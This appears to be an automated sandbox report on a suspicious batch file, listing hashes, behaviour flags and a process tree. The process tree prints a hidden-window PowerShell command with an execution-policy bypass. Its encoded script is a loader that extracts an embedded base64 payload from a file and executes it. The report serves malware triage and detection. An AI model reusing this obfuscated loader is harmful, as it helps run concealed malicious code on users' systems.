8cf8be4545bbfb1fe8c3c86858a6980cbca8d076997937f9a275a9b51ac9790c

Analysis

max time kernel
149s
max time network
140s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
11/07/2026, 05:16

Target
nya_pro_ultimate.bat
Size 4.6MB
Sample260711-fyccfaet3x
SHA256 8cf8be4545bbfb1fe8c3c86858a6980cbca8d076997937f9a275a9b51ac9790c
MD5 a55a809104043ee4c6bb7f9430423e22
SHA1 31ad7d86a56aad727ddc0779555020b1d6de5b11
SHA512 7d6c167aea15dcf6ff2e1ff5cfd4e9e47a1a066320e04e48908e08d95af0cf59776d0cddd1c9d288aa326f1ac7003083395e7df85549e5b7a995571f78f79cd4
SSDEEP 49152:mgP9uV7zOzeY0TmK/8LSwViV7IhxHrQSQtXabGszW40IBLij82QSUH9MM:Z
TLSH
T1D72602028598FF25CB98315850FE0E0B67984AC960D56FD79BE6BC8A7A4FD0111EFF84
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious behavior: EnumeratesProcesses 5 IoCs

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 3372	4536	cmd.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nya_pro_ultimate.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ep Bypass -wi h -enc JABkAGsAcwB0AE0AZQA9AGcAYwAgACQAZQBuAHYAOgBhAGMAWgBrAGkAZwBZADIAUQB4AE4AOAAgAC0AUgBhAHcAOwAkAEgAMwBkADQATQBYAD0AJwA6ADoARgA2AFoAWgBWAFQAQgAxAGUARwAxAGMAOgA6ACcAOwAkAGwAbABTAFYANwBjAD0AJABkAGsAcwB0AE0AZQAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABkAGsAcwB0AE0AZQAuAEkAbgBkAGUAeABPAGYAKAAkAEgAMwBkADQATQBYACkAKwAkAEgAMwBkADQATQBYAC4ATABlAG4AZwB0AGgAKQAuAFQAcgBpAG0AKAApADsAJABMAHAAeQBZADAASQA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbABsAFMAVgA3AGMAKQApADsALgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABMAHAAeQBZADAASQApACkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3372

__PSScriptPolicyTest_5sr02vid.yyl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5sr02vid.yyl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH